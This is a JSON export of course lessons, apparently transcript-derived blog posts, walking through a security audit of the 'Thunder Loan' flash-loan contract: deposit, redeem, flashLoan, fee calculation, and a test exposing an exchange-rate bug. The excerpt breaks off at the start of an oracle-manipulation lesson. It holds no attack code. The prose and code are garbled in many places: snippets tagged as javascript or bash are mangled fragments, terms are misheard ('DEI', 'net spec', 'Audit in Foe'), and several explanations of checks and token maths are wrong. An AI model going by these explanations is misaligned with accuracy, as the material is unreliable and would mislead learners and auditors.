lovers! Today, we're taking a deep-dive into the riveting world of smart contract audits. In this post, we'll be dissecting a Tech Talk where we audited a smart contract named \"Thunder Loan.\" Buckle up, it's going to be an exciting learning experience!\n\n## Remix vs Chisel: The Battle of Testing Tools\n\nIn the world of software development, it's not uncommon to use different tools for testing code. In this instance, we initially tested Thunder Loan using Remix and throughout our auditing process, we discovered a few things that are worth mentioning.\n\n_Fire up your terminal, it's time to discuss some code!_\n\n![](https://cdn.videotap.com/86697zC0OHfWSFQSGKUh-13.33.png)\n\nWhen we attempted to delete particular sets of code, it appeared to work in Remix quite fluidly.\n\n```javascript\ndelete this;\n```\n\nDespite the successful outcome in Remix, the same could not be said when we tried it in Chisel. As a coding auditor, I can safely say Remix was more accurate in this case. Chisel was, unfortunately, incorrect in its evaluation of the aforementioned code.\n\n## Emitting Tokens and Asset Returns\n\nNext, we looked into the `Emit allowed token set` function. After careful examination, we were pleased to see that the system accurately complied.\n\n```javascript\nemit allowedTokenSet;\n```\n\nFollowing this, we went on to return the asset tokens.\n\n```javascript\nreturn assetToken;\n```\n\nAgain, this process appeared to run smoothly. Keep in mind; one crucial aspect of an audit is multiple points of review. This helps maintain precision in an audit. I usually do an \"Okay\" check at the start and then perform another towards the end, as in \"Audit in Foe.\"\n\nAlso, another point to ponder; many tools such as Darren catch the \"needs Nat spec\" command pretty well. So while it may not seem necessary to include this, it could assist in accurate evaluations and maybe even in bug spotting!\n\n## Deep Dive into the Deposit Function\n\nNow we've arrived at another integral part of our audit – the deposit function. Furthermore, we explored the selection process for tokens.\n\n```javascript\nadd Token;remove Token;\n```\n\nHere, things got a tad more interesting. The code seemed to be allowing the addition and removal of tokens at the will of the owner. While this is generally great, it might potential problems in the future. But, of course, only time will unveil that truth.\n\n## Understanding the Non-linear Nature of Audits\n\nSo far, we've gone through at least one function of Thunder Loan, and guess what - No bugs yet! But don't let that fool you. The absence of bugs at the initial stages does not necessarily illustrate a perfect system.\n\n> \"Security reviews are often not linear. It's not like, oh, found a bug here, found a bug here, here, and then three bugs here, and then done. No! They are often exponential.\"\n\nBy the time auditors gain a comprehensive understanding of the codebase, they are better equipped to identify bugs. If bugs are found along the way, that's a bonus!\n\n## A Final Word\n\nAt the end of the day, a thorough audit is more about understanding than it is about unearthing bugs. The more you understand the code, the more efficient you become in identifying any potential or existing bugs. As discouraging as it might seem when bugs fail to show up initially, remember, it's all part of the process! Happy coding, everyone!\n", + "updates": [] + }, + { + "id": "b1f60e02-ebdf-4dc1-a994-d22df5ceefa5", + "number": 30, + "title": "ThunderLoan Continued", + "slug": "thunderloan-continued", + "folderName": "30-thunderloan-continued", + "description": "", + "duration": 5, + "videoUrl": "yu24aR25npU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/30-thunderloan-continued/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol (Continued)\n---\n\n# Understanding Asset Tokens and Exchange Rates in Thunder Loan\n\nHello coders! In this blog post, we're delving into the world of contracts and tokens. If you're here, you know that asset tokens represent the shares of the pool. But honestly, how many times have we gone over that?\n\nStill, it's crucial to understand that the asset token represents just how much of the contract the whale or depositor actually owns.\n\n## Getting the Asset Token\n\n![](https://cdn.videotap.com/2I1K8YkcCB7hMk6vhMGv-37.2.png)\nTo get the asset token, you simply use `AssetToken get exchange rate`. Here we're getting the exchange rate between USDC (the USD Coin) and the flash loan tokens. The key question here is: what ratio exists between these flash loan tokens and the underlying tokens?\n\n## Minting the Amount\n\nYour mint amount is calculated from the amount deposited, maybe around 100 USDC, times the exchange rate precision times the asset rate. The exchange rate precision usually defaults to `1E 18`.\n\nFor all you math enthusiasts, here's the calculation flow:\n\n```bash\nExchange rate precision = 1E 18100 (deposit amount) x 1E 18 (exchange rate precision) / Exchange rate = Mint amount\n```\n\nIf the exchange rate is 2, then you would have half the flash loan tokens in exchange for the 100 USDC, which stands to reason logically.\n\n> An important point to note here is that we cannot divide by zero in this context. The exchange rate cannot be zero and should preferably always be increasing, never decreasing. If you start at one, it should never decrease to zero due to the way asset tokens are conditioned.\n\n## Emitting the Event\n\nThe role of the event emitter comes into play high up in this process when we call `AssetToken mint`. This is only callable by the Flash Loan investors and passes fine, giving the depositor the mint amount.\n\nInterestingly, when a liquidity provider deposits, the money sits in the asset token contract, not in Thunder Loan. Hence, the money goes directly to the asset token contract.\n\n## Calculating the Fee and Updating Exchange Rate\n\nIn our final stage of the process, the calculated fee is determined using `getCalculatedFee`; this updates the exchange rate and the asset token amount is transferred from message sender to the address of the asset token.\n\nHere's where it could get a little confusing. Why are we calculating the fee of the flash loans at the deposit? And why are we updating the exchange rate?\n\nLet's examine the first issue; our flash loan calculation process goes like this:\n\n```bash\nValue of borrowed token = Amount x getPrice / Fee precisionFee = Value of borrowed token x Flash loan fee / Fee precision\n```\n\nHowever, it's perplexing as to why the fee of the flash loans would be calculated at this juncture in the depositing process.\n\nSecondly, the matter of updating the exchange rate also raises questions. If tokens are deposited, the exchange rate varies. If more is deposited, then what would the exchange rate be? This part seems a little disorienting, definitely warrants a follow-up audit as there may be something off here.\n\nOnce these two issues are addressed, the process should work correctly. The user gets minted some asset tokens and the tokens are then transferred to the underlying.\n\nThere are a few perplexing areas as noted which we look forward to addressing in future posts. Happy coding!\n", + "updates": [] + }, + { + "id": "f2a37dbe-b59a-4741-b749-a9a1f05c5d59", + "number": 31, + "title": "Diagramming ThunderLoan", + "slug": "diagramming-thunderloan", + "folderName": "31-diagramming-thunderloan", + "description": "", + "duration": 1, + "videoUrl": "fm1IcAZuVL8", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/31-diagramming-thunderloan/+page.md", + "markdownContent": "---\ntitle: Diagramming Thunder Loan\n---\n\n# Understanding the Asset Token Lifecycle: A Deep Dive\n\nLooking at the origin of tokens can sometimes seem like staring into an abyss, especially when one is trying to break down complex DeFi protocols like how an Asset Token comes alive. However, it's not quite as convoluted as you might initially think. Grab a beverage of your choice, strap down and come with me on an exploration of the Asset Token Lifecycle.\n\nFirst, let's get started by laying the schematic foundation, the blueprint of our Asset Token universe. Transitioning thoughts into visuals and diagrams. You know, because a picture says a thousand words right?\n\n## The Basic Anatomy of the Asset Token\n\n![](https://cdn.videotap.com/2sWH0NEKSYYOOCz3JhNl-7.47.png)\n\nAn essential part of the Asset Token lifecycle begins with the liquidity provider (LP), who owns USDC. As a first step, the LP 'calls deposit' to kickstart this entire process. The underlying USDC is sent to the asset token (Say, Asset Token A or USDC) during this deposit process.\n\n> _The deposit kickstarts the process, triggering a transaction into the Asset Token._\n\nAt this stage, the contract governing the Asset Token is crucial. This contract plays the role of a storehouse, a vault that holds and secures the underlying USD.\n\n## Asset Token Orchestrating Transactions\n\nOur adventure into the Asset Token Lifecycle takes us deep into the heart of interactions and transactions between different entities. The USDC held by the liquidity provider is sent over to the Asset Token post the deposit call. But that's not where the transactions stop.\n\nFinally, the Asset Token mint machine kicks into gear. The asset token mints the LP an equivalent amount of the underlying USD, following the deposit and storage of USDC. Seem complex? Let's simplify with a diagram!\n\n![](https://cdn.videotap.com/2jNGLhZwIkTe4vPJr8UC-24.27.png)\n\nHere's how the transaction process goes:\n\n1. The LP owns USDC.\n2. The LP calls deposit, signaling intent to transition the USDC into an Asset Token.\n3. This deposit triggers a sequence where the USDC moves from the LP to the Asset Token.\n4. Once the USDC is in the Asset Token, the Asset Token mints an LP against the equivalent USDC.\n\nBy reaching this point, we've successfully navigated the murky waters of the Asset Token lifecycle, from deposit call to minting of the LP. This journey underscoring the power of decentralized finance offers valuable insight into the ecosystem. But there's so much more to explore - start digging deeper into contract calls, consensus algorithms and tokenomics right now!\n\nIn our opening diagram and explanation, the statements might seem broad or oversimplified – that is far from the case! Each step occurs in a well-defined, precision-driven process. It's a well-oiled machine, offering insights into the unseen side of token generation and distribution. We shall continue to dissect further and reveal more layers to this 'simple' transaction as we move ahead.\n", + "updates": [] + }, + { + "id": "8fd6d0f7-584f-4553-a0c0-13843171df18", + "number": 32, + "title": "ThunderLoan Redeem", + "slug": "thunderloan-redeem", + "folderName": "32-thunderloan-redeem", + "description": "", + "duration": 5, + "videoUrl": "fDVny7SU1vw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/32-thunderloan-redeem/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Redeem\n---\n\n# How to Deposit and Redeem Asset Tokens: A Deep Dive into Blockchain Functions\n\nWelcome back to the world of token functions! Today, we're going to dive deep into deposit and redeem functions in a blockchain-based system. Strap in!\n\n## Diving into the 'Deposit' Function\n\nFirst, let's revisit the `deposit` function. This function allows a user to deposit an underlying token in exchange for an asset token. In essence, the user puts their underlying token into the pool and receives the equivalent amount of asset tokens in return. We may return to it later, but it's critical to understand this function before we dig deeper into the `redeem`.\n\n## Understanding the 'Redeem' Function\n\n![](https://cdn.videotap.com/PFna6Zl1YqUpuTWXUXwx-48.27.png)\n\nMoving on, the `redeem` function plays the opposite role. Where the `deposit` function pulls in an underlying token, the `redeem` function withdraws the underlying token from the asset token. When using this function, we must specify the token from which we want to withdraw, and how much therein we want to withdraw.\n\n#### The Token Ambiguity\n\nAt this point, you might be wondering - does \"token\" refer to the asset token or the underlying token? After a detailed scrutiny, we confirmed that it refers to the actual token to be withdrawn, not the asset token.\n\n![](https://cdn.videotap.com/ez1kq5fAGd1OgsIQfDqE-86.88.png)\n\nComing back to our code, we need to determine the exact asset token to withdraw (let's call it the 'actual asset token'). We have a revert of zero if the token is not allowed to be withdrawn, thus eliminating any unauthorized tokens.\n\n#### On User Experience and Exchange Rates\n\nThis code incorporates an eye for user experience. If the amount equals the maximum, the contract returns the balance of asset tokens for the address (or 'message sender'). This function essentially lets a user say, \"I have ten asset tokens for USDC, I want USDC equivalent to these ten tokens.\" And our function does exactly this.\n\n![](https://cdn.videotap.com/54JcHcJspGCdA0pezifC-125.5.png)\n\nThe maths underline the code logic:\n\n```javascript\namount_underlying =\n (amount_of_asset_token * exchange_rate) / asset_token_exchange_rate_precision;\n```\n\nThis takes into account the precision of the exchange rate - if the user wants `1 E 18` and the exchange rate is `1 E 18`, dividing by `1 E 18` would yield a `1 E 18` back.\n\nThe function then emits a `redeemed` event and calls `assetsBurn` to burn the asset tokens from the user's holdings. This mirrors the process of deposit, but in reverse: where deposit multiplied the precision by the exchange rate, this instead multiplies the exchange rate by the precision.\n\n#### Handling Weird ERC 20 Tokens\n\nLooking at it from the outside, everything seems to be falling into place. But what if we're dealing with a non-standard ERC 20 token? Let's consider `USDT`, which has six decimals instead of eighteen (thus being referred to as a 'weirdo'). Would the equation still hold? After some calculations and investigations, we found that it does!\n\n![](https://cdn.videotap.com/jWxqkTW1E5Jz4AjmtCqu-202.73.png)\n\nThe redeem function came out looking pretty solid. There was no apparent issue with re-entry and it seemed to follow \"Checks-Effects-Interactions\" (CEI) principle, where it checks upfront, performs certain effects, and then carries out any required interactions. DEI is a widely-accepted guideline in Ethereum community to avoid common issues such as reentrancy attacks.\n\nWith `redeem` function now in tow, we have two important functions - `deposit` and `redeem` - both seemingly bug-free.\n\n![](https://cdn.videotap.com/nNvbG3E0OfsqbxJORxX2-231.69.png)\n\nIn conclusion, while blockchain functions like `deposit` and `redeem` can look complicated, breaking them down and understanding what each element does turns these seemingly convoluted calculations into understandable steps. As with anything in blockchain, the devil is in the detail - and it's safe to say we've captured all of them here. Stay tuned for more deep dives into the world of blockchain functions!\n", + "updates": [] + }, + { + "id": "bca8e64a-09ac-40e0-a723-f0100b143e4d", + "number": 33, + "title": "ThunderLoan Flashloan", + "slug": "thunderloan-flashloan", + "folderName": "33-thunderloan-flashloan", + "description": "", + "duration": 14, + "videoUrl": "6MjNs46JJzk", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/33-thunderloan-flashloan/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Flashloan\n---\n\n# Understanding the Flash Loan Function\n\nIn reviewing, understanding, and working with the flash loan function in a smart contract, I encountered a few challenges due to the lack of a Nat Spec. But fear not, in this blog post, we'll walk through it, figure out what each parameter does, and build the Nat Spec ourselves.\n\n## Decoding the Parameters\n\n![](https://cdn.videotap.com/70D5PzXZylGPTZ8Ak7ea-44.44.png)\n\nThe main parameters in the flash loan function are:\n\n- Receiver address : This is probably the address that should receive the flash-loaned tokens, essentially, where to send the borrowed tokens.\n- ERC 20 : This is the token you want to borrow.\n- Amount : Obviously, this would be the amount you want to borrow.\n- Params : These are the function call parameters for the receiver address. Meaning, when the flash loan function sends the tokens to the receiver address, it will also send these parameters. It is important to note here that the receiver address is expected to be a smart contract.\n\n## Function Breakdown\n\nTo get a better understanding, we should examine each line of the function.\n\n```\nrevert is 0;revert if not allowed token;\n```\n\nWhile these lines may seem perplexing, they are simple checks, the first is to ensure that the function does not revert right out of the gate and the second verifies that the token is allowed. To understand this, you can look into the `isAllowedToken()` function.\n\n```\nAsset token = s_2 asset token of the token.\n```\n\nHere, `assetToken` is the contract that holds the underlying tokens we want to borrow.\n\nA critical part of the function is getting the `startingBalance` of the asset token contract, which will come in handy later on when we verify if the flash loan has been repaid.\n\nIf the `amount` to borrow is more than the `startingBalance`, it means that the function is trying to borrow more than the total available tokens, and it will resultantly revert and terminate the operation.\n\nIn addition to the checks mentioned above, the function verifies the code length of the receiver address. If it equals zero, the operation is once again reverted.\n\n## Understanding the Fees\n\n![](https://cdn.videotap.com/nrDYkgtsrD1YCbh5GO4J-474.07.png)One thing that might seem confusing initially is how they calculate the fee. `getCalculatedFee()` is the function that gets used for that. It's important to note that this fee is the contract's charge to facilitate the flash loan operation.\n\nTo make more sense of this, it's useful to go back to this line:\n\n```\nAssetToken.updateExchangeRate (fee)\n```\n\nHere, the `updateExchangeRate` of the `AssetToken` contract is getting updated with the `fee`. In essence, this step ensures the protocol updates the exchange rate so that everything adds up mathematically with the introduction of the new fee.\n\n> It's important to pause here and do some quick math to fully grasp the impact of the fee on the exchange rate.\n\n## The Flash Loan in Action\n\n![](https://cdn.videotap.com/m50tzcSXOfTUOdDNWqXL-622.22.png)Now that we have understood what each parameter does, we can actually do a quick run-through of the function. Here are the steps:\n\n- The user calls the flash loan requesting for a specific amount of a specific ERC20 token.\n- The function verifies the code length of the receiver address and the amount of the requested token, checks the starting balance of the underlying asset token contract, and verifies if the flash loan has been repaid.\n- If all checks out, the necessary amount of tokens are transferred to the receiver address via `AssetToken.transferUnderlyingTo()`.\n- The function interface calls the `executeOperation` of the receiver contract using the provided params for further operations.\n- Ultimately, it expects the receiver contract to call the `repay` function, sending back the borrowed amount plus the fee.\n\n## Conclusion\n\nWalking through this function sheds light on how a flash loan function works in conjunction with other pieces of a smart contract. However, it's always critical to do your own due diligence and research, check out how other protocols implement similar functionalities, and learn from existing work.\n\nHappy coding!\n", + "updates": [] + }, + { + "id": "cc8b39c4-b859-4c01-a12a-45e910bac4bf", + "number": 34, + "title": "Note On Being Discouraged", + "slug": "note-on-being-discouraged", + "folderName": "34-note-on-being-discouraged", + "description": "", + "duration": 1, + "videoUrl": "XsCj0ueWJis", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/34-note-on-being-discouraged/+page.md", + "markdownContent": "---\ntitle: A Note On Being Discouraged During The Audit Process\n---\n\n# Understanding the Complexity of Codebase Audits: An In-Depth Exploration\n\nIn the world of coding, auditing your codebase is akin to a treasure hunt. Only in this case, the treasure isn't chests of gold and diamonds, but issues and flaws that need to be addressed. It’s a crucial process for maintaining code quality and ensuring your app's security. At times, the search can appear discouraging, especially when a clear solution or bug isn't immediately evident. This blog post will dive into the complex world of codebase audits and why it may sometimes feel like you're going around in circles, even though you’re on the right track.\n\n![](https://cdn.videotap.com/zCv8VBC70weROS4c3wJa-1.69.png)## Unraveling the Codebase: Do You Have Any Audit Highs?\n\nHaving reached this point, you're likely deep into your codebase, scanning various components and notes, and your eyes may have become glossed over with `SRC` entries. You’ve probably posed the question “Do we have any audit highs?”\n\nThere's no sugarcoating it: learning that you haven't unearthed any 'high' flag issues may feel deflating. After all, you’re searching for bugs that pose serious risk and, logically, finding a higher risk issue means you’re making progress, right? Unfortunately, this reasoning skips a very important point: security reviews are not linear.\n\nIt's not as simple as starting at Point A and proceeding seamlessly to Point B. Sometimes, you only find small, lower-risk issues. Sometimes, you hit a wall. And occasionally, you find exactly what you've been looking for.\n\n## Perseverance is Key: Addressing Absence of Medium-category Issues\n\nThe feeling of dismay might deepen when you move to the next level - the medium-category issues, only to discover a similar scenario – no apparent bugs. These mid-level issues often provide a balance between complexity and harm potential, making them valuable finds during the audit process.\n\nThe very absence of any high or medium level issues might make you question - “What's going on?”\n\nAnd this is where the answer starts to become apparent.\n\n> **Remember, security reviews are not linear.**\n\n## The Non-linear Nature of Security Audits\n\nJust as with any code review, a ton of questions may spring up, some of which will remain unanswered. Within these mysteries could be hidden the very bugs you seek. You might have already spotted some bugs but dismissed them because they didn't fit into the 'high' or 'medium' categories you were actively searching for.\n\nThat’s why it’s so important to remember that path isn't a straight line. It might feel like you're going in circles, but each review, each question asked, and each bug found is a step forward.\n\nRemember, it’s not about high or medium issues; it's about the hunt for irregularities that can compromise your application's security. It’s arduous and often tedious, but that doesn’t mean you’re not making strides. Every time you cycle through your code, peering at it from all angles, you're gaining a broader perspective and understanding of how your codebase functions.\n\n## Conclusion: Keep Going\n\nSo, next time you find yourself wrapped up in a painstaking codebase audit, don’t be discouraged if you’re not finding high or medium issues. Remember the nature of security reviews—they are complex, they are multifaceted, and they are definitely not linear.\n\nKeep going, keep searching, and trust that while the path may seem winding and peppered with dead ends, it is leading you to a more robust and secure codebase.\n", + "updates": [] + }, + { + "id": "177ebf9d-fe5d-40e0-9892-5757986d60ff", + "number": 35, + "title": "ThunderLoan Repay Final Functions", + "slug": "thunderloan-repay-final-functions", + "folderName": "35-thunderloan-repay-final-functions", + "description": "", + "duration": 8, + "videoUrl": "WVTwJqj4sY8", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/35-thunderloan-repay-final-functions/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Repay and Final Functions\n---\n\nTitle: Simplifying Cryptocurrency - Understanding and Breaking Down the Repay Function on Thunder Loan Contracts\n\nWelcome to the intriguing world of Thunder loan contracts! Today, we'll dive into the complexities of the repay function and how it fits into the broader cryptosphere.\n\n## Repay Function: An Overview\n\nYou may wonder why users are expected to use this foundation of Thunder loan contracts. The repay function could be termed a helper function as it essentially facilitates the transfer of tokens from the message sender to the asset token.You could choose to use this function or proceed with a direct transfer.\n\n![](https://cdn.videotap.com/clirVfwioc458w6aVh7V-53.02.png)> _Quick Note:_ Direct transfers can be initiated by simply calling the transfer function and then directing tokens to the asset.\n\nIn our evaluation, the repay function passed the net spec check with flying colors. It contributes significantly to the handling of allowed tokens in the contract.\n\n## Decoding getCalculatedFee\n\nOne question that is often asked is whether this function calculates the fees of the flash loan. To answer this straightforwardly, yes, it does! The getCalculatedFee function appears not only in the flash loan but is also utilized in the deposit aspect.\n\n![](https://cdn.videotap.com/6mvrIM7OsjoztStUZ3t8-127.26.png)\n\nIn terms of decision-making, the question now arises: how does getCalculatedFee calculate the fee?\n\nIn simple words, it first gets the value of the borrowed token by multiplying the amount by the price in WETH. Importantly, this is sourced from the Oracle upgradable getPriceInWETH, which in turn uses the TSWAP Oracle to calculate the value of the borrowed token.\n\nThe 'flash loan fee,' then calculated, divides the calculated value by some fee precision. From here, it applies a 0.3% fee based on the value of the token rather than the actual token amount.\n\n## Digging Deeper\n\nIn delving into the code, we find that getPriceInWETH derives the price of one pool token in WETH.\n\n![](https://cdn.videotap.com/jZtPSFvT2rr7Jszw6QmJ-286.33.png)\n\nFirstly, it's important to revisit TSWAP to further understand this function, particularly how it calculates the amount based on input and output reserves. It raises a potential area of concern. Within an auditing context, we could ask:\"What if the token has six decimals? Would it then distort the price calculation?\"\n\n> _Critical Outlook:_ Ignoring token decimals could result in inaccurate price calculations, especially when working on the basis of TSWAP decks for determining the flash loan fee.\n\nWhile this looks plausible, it may still not be entirely correct. Circumspection is needed at this point, and we would do well to return and probe further.\n\n## Addressing Minor Questions\n\nAfter reviewing the functions like updateFlashLoanFee, isAllowedToken, and getAssetFromToken, we now move on to view functions. The authorizeUpgrade function is particularly interesting as it underlines why we ought to understand proxies in detailed terms.\n\n![](https://cdn.videotap.com/xKIHOvSLAXgodeugEkw9-381.77.png)\n\nIn essence, adding the _only owner_ stipulation in the authorized upgrade function restricts contract upgrades to the owner alone. Take away this extra layer, and you throw open the door to anyone upgrading the contract!\n\nIn conclusion, our initial pass through the Thunder Loan contracts codebase may not have uncovered any distinct issues. But it certainly has left us with questions that need answering, and that’s where the real fun begins!\n\n## Onwards and Upwards\n\nCracking the code behind algorithms in the cryptosphere may seem incredibly daunting. But remember that the key lies in taking one step at a time, going back to your questions, and digging deeper to find the answers.\n\n![](https://cdn.videotap.com/SeBnhlFpXSRHJX757F1r-434.79.png)\n\nJoin us in our next post for a further breakdown of these questions – who knows, we might uncover new insights in our exploration of Thunder Loan contracts. Until then, happy coding!\n", + "updates": [] + }, + { + "id": "59f203cb-1a3d-4aa0-86a2-4cd7faaf1785", + "number": 36, + "title": "Answering Our Questions", + "slug": "answering-our-questions", + "folderName": "36-answering-our-questions", + "description": "", + "duration": 9, + "videoUrl": "TNiNgDiJpSA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/36-answering-our-questions/+page.md", + "markdownContent": "---\ntitle: Answering Our Questions\n---\n\n---\n\n# A Deep Dive into T-SWAP: Unpacking Questions and Bugs\n\nIn our exploration of the intricate protocol called T-SWAP, we're going to be asking some hard questions and unraveling complex aspects. The key thing about crypto dApps is you need to understand their working down to the bare-bones in order to exploit or protect against potential vulnerabilities.\n\nTo make the exercise simple, we will treat the hard-hitting questions as dialogue, with each question and answer followed by a quick analysis or piece of advice.\n\nLet's jump in.\n\n## Q1: Why are we using T-SWAP?\n\nWe're using T-SWAP to get the value of a token so that we can calculate fees. Sounds simple enough, right? However, this leads us to another question.\n\n## Q2: Why are we only using the price of a pool token in WETH (Wrapped Ethereum)?\n\nThis is the part that may sound a bit odd. Why are we getting the price in WETH when our primary objective is the price of the token? We're using this pricing in `calculateFee` or `getCalculatedFee`. This calls the `getPriceInWETH`, but for a scenario where we have a flash loan, it's not making much sense.\n\n![](https://cdn.videotap.com/Ko9tuGIzxt2a7EKvdpiz-189.39.png)\n\n\"If we intended to get the price in WETH then the fee should probably be in WETH,\" I hear you say. And you're right. This `getCalculatedFee` seems off. How can one USDC plus 0.3 USDC make sense when the fees are being calculated using `getPriceInWETH`? This could be a potential bug in the software.\n\nAt this juncture, we must determine the impact and likelihood of this bug.\n\n## Potential Bugs in Fee Calculation\n\nFirst off, let me assure you - we're not expecting you to grasp everything the first time around. Crypto security is rife with quirky implementations that some might consider \"weird wonkiness.\"\n\nHere's what we're dealing with - Whenever a fee gets calculated, it uses this potentially flawed method. If this is not the intended functionality, that's a problem! The audit likelihood might be high, leading to a 'medium to severe disruption of the protocol' and the impact could be either medium or high.\n\n> **Quote:** \"If the fee is going to be in the token, then the value should reflect that. But in current scenario it's super weird. We're getting the value of the borrowed token in units of WETH, and we're increasing the fee in units of WETH and USDC.\n\n## Q3: Weird ERC20s with USDC\n\nNow, let's move onto the next question. What if USDC blacklists the loan contract? USDC is behind a proxy and could be upgraded anytime, which could potentially 'wreck' the protocol. This could lead to a freeze on the whole protocol. This is crucial to discuss in private or competitive audit.\n\nBut remember, the rules in competitive audits _usually_ are: 'if a user is denied service or removed, too bad. However, if a user's denial affects others, that's usually an accepted finding in a competitive audit'.\n\nIn case of ERC20s, in competitive audits, these are often not considered valid findings. Sure, you need to keep the clients aware in a private audit, but competitive audits call for more pressing issues. We'll rate this an audit medium, maybe an audit low.\n\n## Q4: Decimals with Token - Can the Price be Wrong?\n\nNow, this is an intriguing aspect. Please note that for this blog, we're going to skip over this question. But here's a challenge to you, the reader, if you think you can answer it better: If a token is characterized by weird and different decimals, can the price be wrong?\n\nHere's a nugget of wisdom: Always be thinking about these types of things. Find out if you can break the protocol by using weird tokens with weird decimals.\n\n## Q5: Is `feePrecision` Misplaced?\n\nThis code deep dive also raises the audit question on whether the `feePrecision` value, which is currently a storage variable, could be better served as a constant immutable.\n\nThat covers some of our perplexing questions about T-SWAP, and we've unfortunately stumbled upon a few potential bugs! But hey, it's better to discover them now in an audit than later when the damage could be far more considerable.\n\nThe key takeaway from this exploration is the importance of meticulous analysis during crypto dApp development. Every piece of code should be audited carefully to ensure it's bug-free and works as intended.\n\nI hope this blog enriched your knowledge about potential pitfalls and the need for audacious questions during protocol designing process.\n\nRemember, in the complex world of crypto, curiosity doesn't kill the cat; complacency does!\n", + "updates": [] + }, + { + "id": "7246ca88-7397-43b7-9500-87bb15eafa70", + "number": 37, + "title": "Improving Test Coverage To Find A High", + "slug": "improving-test-coverage-to-find-a-high", + "folderName": "37-improving-test-coverage-to-find-a-high", + "description": "", + "duration": 16, + "videoUrl": "FaZdYBxgXS0", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/37-improving-test-coverage-to-find-a-high/+page.md", + "markdownContent": "---\ntitle: Improving Test Coverage To Find A High\n---\n\n# Unraveling the Mystery: Decoding Flash Loan Fees and Exchange Rate Updates\n\nAs we delve deeper into the complexities of DeFi protocols, we find ourselves constantly asking - Why? Why are we calculating the fees of a flash loan in the deposit? And why are we updating the exchange rate? Isn't it a bit strange to perform these updates here?\n\nTo unravel this puzzle, we embarked on an audit trail that led to some unexpected discoveries and revelations.\n\n## Deciphering the Problem: Understanding Exchange Rates and Flash Loans\n\nThe first oddity we noticed was the update of the exchange rate in the deposit function when adding fees. This process typically only commences when there's a significant increase in the total amount of money in the asset token. It seemed illogical that the deposit function, which accrued no fees, was responsible for this update.\n\nIf the update exchange rate was malfunctioning, it would have repercussions on the 'redeem' function - our protocol's withdrawal mechanism. To confirm our suspicions, we needed to test this function first.\n\n## Running the Test: Examining the 'Redeem' Function\n\nTo validate the functionality of the redeem function, we had to initiate a test. We decided to write a test for the redeem function and simulate a scenario of borrowing from the test flash loan and then attempt to redeem.\n\nWe commenced with the test by first setting up a mock Flash Loan receiver with a specified fee, which would be used for the Flash Loan.\n\nThe test would first change the exchange rate by depositing some funds, then modify it again by initializing the Flash Loan. ideally, at this stage, the depositor should be able to withdraw all their money.\n\n![](https://cdn.videotap.com/NHVntHvDBDp2yLjdahS4-377.57.png)\n\n## The Unexpected Revelation: Insufficient Balance\n\nThe test, unfortunately, produced an unexpected outcome - Insufficient balance.\n\nAfter analyzing the logs of the transactions performed during the test, we noticed that the 'transferUnderlyingTo' function was returning an error stating insufficient funds. The amount to be transferred back (1003 tokens) was higher than the initial deposit (1000E 18).\n\nThis discrepancy threw us off balance. We had triggered a Flash loan, and expected to incur a fee, but the increase in the withdrawal amount surpassed the fee incurred. Upon scrutinizing the deposit function once again, we discovered an uncanny occurrence - the exchange rate was updating the fee.\n\nThe exchange rate, which was originally responsible for tracking the total amount of money in the protocol at all times, had now charged a fee without any transaction taking place.\n\nThis detrimental coding error was affecting liquidity providers' ability to redeem their tokens, setting off alarm bells for us.\n\n## Assessing the Damage: Decoding the High\n\nTo ascertain the gravity of the impact of this error, we performed a follow-up test with the problematic lines of code in the Thunder loan commented out. As expected, the test passed, solidifying our suspicion. The initial mock test we developed served as a proof of code that affirmed our findings.\n\n![](https://cdn.videotap.com/liERWQdBJtLyf0Oj21Oc-556.43.png)\n\nThe paramount error was evident - the erroneous exchange rate update in the deposit function. This update was blocking redemptions and incorrectly setting the exchange rate, leading to severe disruptions in the contract functionality.\n\nThe likelihood of this recurring was high due to its occurrence every time someone deposited. The impact, too, was high as users' funds would be locked. Moreover, rewards were incorrectly calculated due to reward manipulation leading to users potentially getting way more or less than deserved.\n\n## Mitigating the Threat: Towards a Safer Protocol\n\nHaving extensive experience in blockchain security, we carefully devised a countermeasure to neutralize this imminent threat.\n\nThrough our persistent efforts probing into the code, we have managed to reveal a glaring irregularity that could have potentially endangered the whole protocol. The mandatory removal of this erroneous exchange rate update from the deposit function could significantly impact the protocol, making it safer and more secure, offering a fortifying solution to this daunting mishap.\n\nAnd, as we continue ahead in our journey, probing for more security vulnerabilities and solving them, we learn that most bugs tend to surface towards the end of the audit. As our understanding of the protocol deepens, we get better at detecting potential threats, eventually leading to a more secure eco-system for all.\n", + "updates": [] + }, + { + "id": "8564f658-ef5f-4c3f-9f4b-9cb564b5f609", + "number": 38, + "title": "Exploit: Oracle Manipulation", + "slug": "exploit-oracle-manipulation-intro", + "folderName": "38-exploit-oracle-manipulation-intro", + "description": "", + "duration": 2, + "videoUrl": "D4CGfLPhvY0", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/38-exploit-oracle-manipulation-intro/+page.md", + "markdownContent": "---\ntitle: Exploit - Oracle Manipulation - Introduction\n---\n\n# The Art of Debugging: A Deep Dive into Oracle Manipulation\n\nHello Code Lovers! We're back with another exciting and intriguing chapter of our journey today. So, keep your curiosity alive as we have some complex but fascinating issues to untangle.\n\n## Unravelling the Mystery: Deleting a Mapping\n\nFirst things first – let's delve into one compelling question that's been troubling us: Does deleting a mapping work? Remember, the key to successful debugging is not just fixing the bug, but comprehending the reason behind it.\n\nAfter a thorough examination, we did come across some irregularities earlier. But with our renewed focus, let's try to unlock this puzzle.\n\n![](https://cdn.videotap.com/EDZ935DJCvseMdojYDqQ-15.74.png)\n\n## Decoding the Fee Calculation Conundrum\n\nMoving on to another important question: How does the fee get calculated? Now, if you'll recall from our previous discussion, we uncovered some strange issues concerning the fee represented in the token.\n\nWithout getting bogged down by the past problems, let's scrutinize if there's a deeper complication here, especially with the usage of T-SWAP as the protocol.\n\nOn a side note, this is an instance where the wisdom derived from previous experience comes into play. It's essentially when debugging starts resembling a thrilling treasure hunt - the more treasures (read: issues) you uncover, the more experienced and capable you 